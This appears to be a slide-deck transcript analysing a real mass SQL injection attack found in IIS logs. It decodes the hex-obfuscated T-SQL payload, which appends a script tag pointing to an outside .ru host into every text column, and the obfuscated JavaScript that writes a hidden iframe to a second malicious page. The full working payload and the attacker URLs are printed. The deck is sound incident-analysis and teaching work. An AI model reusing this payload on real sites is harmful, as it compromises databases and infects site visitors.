SQL Injection AttackOverview

Step by step analysis of a SQL Injection attack Code Obfuscation a Definition IIS Log Entry Decoding the HEX Part 1 SQL Injection Code Decoding the HEX Part 2 Injected Code Where is this coming from?

Code Obfuscation a Definition “Obfuscated code is source or machine

code that has been made difficult to understand. Programmers may deliberately obfuscate code to conceal its purpose (a form of security through obscurity), to deter reverse engineering, or as a puzzle or recreational challenge for readers. Programs known as obfuscators transform human-readable code into obfuscated code using various techniques.” -Wikipedia

IIS Log Entry

\\web101\Logs$\IIS\W3SVC1\u_ex090926.log:2009-09-26 16:41:23 W3SVC1 WEB101 1.1.1.1 GET /client/file.asp adid=24&category=Texas+03-04%2F08;DECLARE%20@s%20VaRcHAr(4000);SET%20@S=casT(0x4445436C417245204054205641524348617228323535292C406320566152436861522832353529206445636C417265207461424C655F637552736F5220435552536F5220664F722053456C45437420412E6E616D652C622E6E616D652046726F4D207379736F626A4543747320612C735973434F6C554D6E73206220776865726520412E49643D622E696420614E6420412E58547950453D27752720614E442028622E58747950653D3939206F5220622E58547970453D3335206F7220422E58747950653D323331204F7220422E58745970453D31363729204F70456E207441426C455F435552734F72204645746348204E6578742046726F6D207441624C655F435572734F5220494E546F2040542C4063207768696C4528404046455463685F5354417455533D302920426567696E20457845632827557064615465205B272B40542B275D20534574205B272B40432B275D3D525452694D28434F6E5665727428564172434841522834303030292C5B272B40432B275D29292B4341535428305833433733363337323639373037343230373337323633334436383734373437303341324632463737373737373245363236313645364536353732373432453732373532463631363437333245364137333345334332463733363337323639373037343345206173207641524348417228353129292729204665746348204E6558742046524F4D205441624C455F635572736F7220694E744F2040742C404320456E4420436C4F7365205441624C455F437572736F72206445414C6C4F63415445205441424C655F435552736F5220%20aS%20varcHAr(4000));exEc(@S);-- 80 - 123.204.243.229 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - - www.domain.com 200 0 0 13542 1641 1015

This is the IIS log that is generated during the attack. In the next slide we remove the URL encoding and make the information highlighted in yellow more readable.

IIS Log Entry - Removing URL Encoding

/client/file.asp adid=24&category=Texas 03-04/08; DECLARE @s VaRcHAr(4000); SET

@S=casT( 0x4445436C417245204054205641524348617228323535292C406320566152436861522832353529206445636C417265207461424C655F637552736F5220435552536F5220664F722053456C45437420412E6E616D652C622E6E616D652046726F4D207379736F626A4543747320612C735973434F6C554D6E73206220776865726520412E49643D622E696420614E6420412E58547950453D27752720614E442028622E58747950653D3939206F5220622E58547970453D3335206F7220422E58747950653D323331204F7220422E58745970453D31363729204F70456E207441426C455F435552734F72204645746348204E6578742046726F6D207441624C655F435572734F5220494E546F2040542C4063207768696C4528404046455463685F5354417455533D302920426567696E20457845632827557064615465205B272B40542B275D20534574205B272B40432B275D3D525452694D28434F6E5665727428564172434841522834303030292C5B272B40432B275D29292B4341535428305833433733363337323639373037343230373337323633334436383734373437303341324632463737373737373245363236313645364536353732373432453732373532463631363437333245364137333345334332463733363337323639373037343345206173207641524348417228353129292729204665746348204E6558742046524F4D205441624C455F635572736F7220694E744F2040742C404320456E4420436C4F7365205441624C455F437572736F72206445414C6C4F63415445205441424C655F435552736F5220 aS varcHAr(4000));

exEc(@S);

CAST: Translates the HEX expression into a character string

EXEC: Executes this string

After removing the URL encoding and adding some line feeds we have the following code. The cast statement converts the log HEX string into a Variable Character Field (varchar). Next the EXEC command executes this decoded string.

Decoding the HEX part 1

0x4445436C41724520405420564152434861… 0x44 = 68 = D 0x45 = 69 = E 0x43 = 67 = C 0x6C = 108 = l 0x41 = 65 = A 0x72 = 114 = r 0x45 = 69 = E 0x20 = 32 = 0x40 = 64 = @ 0x54 = 84 = T 0x20 = 32 = 0x56 = 86 = V 0x41 = 65 = A 0x52 = 82 = R 0x43 = 67 = C 0x48 = 72 = H 0x61 = 97 = a

DEClArE @T VARCHar(255),@c VaRChaR(255) dEclAre taBLe_cuRsoR CURSoR fOr SElECt A.name,b.name FroM sysobjECts a, sYsCOlUMns b where A.Id=b.id aNd A.XTyPE='u' aND (b.XtyPe=99 oR b.XTypE=35 or B.XtyPe=231 Or B.XtYpE=167) OpEn tABlE_CURsOr FEtcH Next From tAbLe_CUrsOR INTo @T,@c whilE(@@FETch_STAtUS=0) Begin ExEc('UpdaTe ['+@T+'] SEt ['+@C+']= RTRiM(COnVert(VArCHAR(4000),['+@C+']))+ CAST(0X3C736372697074207372633D687474703A2F2F7777772E6 2616E6E6572742E72752F6164732E6A733E3C2F7363726970743E as vARCHAr(51))') FetcH NeXt FROM TAbLE_cUrsor iNtO @t,@C EnD ClOse TAbLE_Cursor dEALlOcATE TABLe_CURsoR

sysobjects: Contains one row for each object (constraint, default, log, rule, stored procedure, and so on) created within a database.

syscolumns: Contains one row for every column in every table and view, and a row for each parameter in a stored procedure. This table is in each database.

XType:U = User table35 = text99 = ntext167 = varchar231 = nvarchar

Here we decode the HEX into its ASCII equivalent. Once we apply it to the entire string we have the full code. I’d like to point out that this code is somewhat dynamic in nature. You can see a variety of upper and lower case characters in the code.

This causes the encoded HEX to vary significantly from attack to attack and is an attempt to avoid detection.The query in the begining of the code uses an interesting trick by using sysobject and syscolumns, special tables within SQL Server. The query selects all User defined tables and then limits it to columns with datatypes that can hold a string of characters.

It then loops through all of these columns and appends a string to each row. This string is also encoded in HEX. We will look at this further in the next slide.

Decoding the HEX part 2

0x3C736372697074207372633D687474703A2F2F7777772E626 16E6E6572742E72752F6164732E6A733E3C2F7363726970743E

<script src=http://www.bannert.ru/ads.js></script>

Using the same method as before we very easily determine that the injected string is a script tag pointing to ads.js. I have also experienced changes to this URL from attack to attack. I have decoded about four different locations for ads.js as of this writing.

Injected Code – Java Script

<script src=http://www.bannert.ru/ads.js></script>

document['wri5te'.replace(/[0-9]/,'')](RfCEPXiV('imLQjGIUbV')+hesXRonvzA('yJodBRbANq'));

write(RfCEPXiV('imLQjGIUbV')+hesXRonvzA('yJodBRbANq'));

Since most of the code within ads.js is not utilized I’ll stick with what is. The first part is an interesting way of hiding the write command. They utilize the replace function to remove the 5 from within the string literal concealing it from detection.

The two functions within the write statement are very similar so I will only explain one of them but I will indicate where their differences are.

Injected Code – Java Script

function RfCEPXiV(KDZJF){var Ffwx=6,TMplSKEfAW=4;var VhoWIRnEH='90+0,157+2,153+0,171+0,145+2,163+2,151+2,48+0,178+2,157+2,150+0,174+0,156+0,91+2,73+2,48+0,156+0,151+2,157+2,154+2,156+0,174+0,91+2,73+2,48+0,147+0,166+2,171+0,150+0,151+2,171+0,91+2,72+0,48+0,153+0,171+0,145+2,163+2,151+2,147+0,166+2,171+0,150+0,151+2,171+0,91+2,72+0,48+0,172+2,171+0,',QlnGAowZ=VhoWIRnEH.split(',');gHuP='';for(THLfo=0;THLfo<QlnGAowZ.length-1;THLfo++){

MhbtCwq=QlnGAowZ[THLfo].split('+');gAJys = parseInt(MhbtCwq[0]*TMplSKEfAW)+parseInt(MhbtCwq[1]);gAJys = parseInt(gAJys)/Ffwx;gHuP += String.fromCharCode(gAJys);

}return gHuP;}

Splits the string at the commas

Splits the string at the plus

90*4 + 0 = 360157*4 + 2 = 630153*4 + 0 = 612171*4 + 0 = 684145*4 + 2 = 582…

360/6 = 60630/6 = 105612/6 = 102684/6 = 114582/6 = 97…

60 = <105 = i102 = f114 = r97 = a…

<iframe width=1 height=1 border=0 frameborder=0 s

The first part of this function sets up some variables. These variables are the only differences between the two functions. The first two are a decryption key and the last is the cipher text.

The next step is for the code to set up an array based on the cipher text split on the commas. For example the first array element would be 90+0. Next it loops through each of these elements and splits it once again however on the plus sign. It then performs the decryption mathematics and determines the resultant string.

Injected Code – php & css

<iframe width=1 height=1 border=0 frameborder=0 src='http://ads-t.ru/ad/index.php'></iframe>

Index.php simulates an ‘Error 404 - Page Not Found’ however it has custom Java Script as well as a cascading style sheet which specifies background images.

One of three conditions exist. This site has been identified as malicious and has been removed from the

hosting provider The images specified in the CSS could be malicious in nature. They have not activated the malicious code and could do so at anytime.

The results form both functions result in an iframe which loads index.php. At this point I stopped my investigation partly because the index.php file returned a Page Not Found error. As noted bellow there are three possible conditions at this point.

Where is this coming from? 123.204.243.229

inetnum: 123.204.0.0 - 123.205.255.255netname: SEEDNET-NETdescr: Digital United Inc.descr: 7F,220,gangchi roaddescr: Taipei Taiwan 114country: TWadmin-c: MC37-APtech-c: MC37-APstatus: ALLOCATED PORTABLEnotify: michaelc@du.net.twmnt-by: MAINT-TW-TWNICmnt-lower: MAINT-TW-TWNICmnt-routes: MAINT-TW-TWNICremarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+remarks: This object can only be updated by APNIC hostmasters.remarks: To update this object, please contact APNICremarks: hostmasters and include your organisation's accountremarks: name in the subject line.remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+changed: hm-changed@apnic.net 20061228source: APNIC

By performing a WhoIs on the source address identified in the IIS logs we can determine that this particular attack originated from Taiwan. IP addresses for other attacks varied in origin however so far all have originated from Asia.

After some communications with the Internet Storm Center I was provided with a link to a diary entry for April 16, 2008 (click here to see it). The handlers at the ISC actually have the code (apparently written in Chinese) that utilizes Google to identify sites that are vulnerable to this attack.

The program performs a Google search for a string that would indicate a vulnerable site and then executes the attack against them.

SQL Injection AttackOverview

Thank you for watchingFred Stuck